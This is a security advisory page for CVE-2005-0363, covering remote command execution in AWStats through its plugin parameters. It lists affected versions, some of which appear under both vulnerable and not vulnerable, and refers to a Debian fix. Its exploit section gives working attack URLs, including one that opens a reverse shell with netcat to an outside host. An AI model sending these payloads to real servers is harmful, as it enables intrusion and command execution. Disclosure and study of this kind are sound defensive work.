AWStats Plugin Multiple Remote Command Execution Vulnerabilities

BID:12543

Info

AWStats Plugin Multiple Remote Command Execution Vulnerabilities

Bugtraq ID: 12543
Class: Design Error
CVE: CVE-2005-0363
Remote: Yes
Local: No
Published: Feb 14 2005 12:00AM
Updated: Jul 12 2009 10:06AM
Credit: GHC <[email protected]> is credited with the disclosure of this issue.
Vulnerable: AWStats AWStats 6.3
AWStats AWStats 6.2
AWStats AWStats 6.1
AWStats AWStats 6.0
AWStats AWStats 5.9
AWStats AWStats 5.8
AWStats AWStats 5.7
AWStats AWStats 5.6
AWStats AWStats 5.5
AWStats AWStats 5.4
AWStats AWStats 5.3
AWStats AWStats 5.2
AWStats AWStats 5.1
AWStats AWStats 5.0
AWStats AWStats 4.0
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
AWStats AWStats 6.5.0 build 1.857
Not Vulnerable: AWStats AWStats 6.3
AWStats AWStats 5.6
AWStats AWStats 6.5.0 build 1.857

Discussion

AWStats Plugin Multiple Remote Command Execution Vulnerabilities

Multiple remote command execution vulnerabilities reportedly affect AWStats. These issues are due to an input validation error that allows a remote attacker to specify commands to be executed in the context of the affected application.

The first problem presents itself due to the potential of malicious use of the 'loadplugin' and 'pluginmode' parameters of the 'awstats.pl' script. The second issue arises from an insecure implementation of the 'loadplugin' parameter functionality.

An attacker may leverage these issues to execute arbitrary commands with the privileges of the affected web server running the vulnerable scripts. This may facilitate unauthorized access to the affected computer, as well as other attacks.

Multiple sources have reported that AWStats 6.3 and subsequent versions are not vulnerable to these issues.

Exploit / POC

AWStats Plugin Multiple Remote Command Execution Vulnerabilities

The following proof of concepts have been provided:

To execute arbitrary commands:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+getpwent
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+system('id')+;
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;

To trigger a denial of service condition:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;hack=$rp&amp;PluginMode=:sleep

To load the 'blib' Perl module:
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?&amp;loadplugin=../../../../usr/libdata/perl/5.00503/blib

The following proof of concept was provided by &lt;[email protected]&gt;:
http://www.example.com/awstats/awstats.pl?pluginmode=:system http://xxx/awstats/awstats.pl?pluginmode=:system (?/bin/ls?);

The following proof of concept has been made available:

Solution / Fix

AWStats Plugin Multiple Remote Command Execution Vulnerabilities

Solution:
Debian has released advisory DSA 682-1 to address these issues. Please see the referenced advisory for more information.


AWStats AWStats 4.0

References

© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report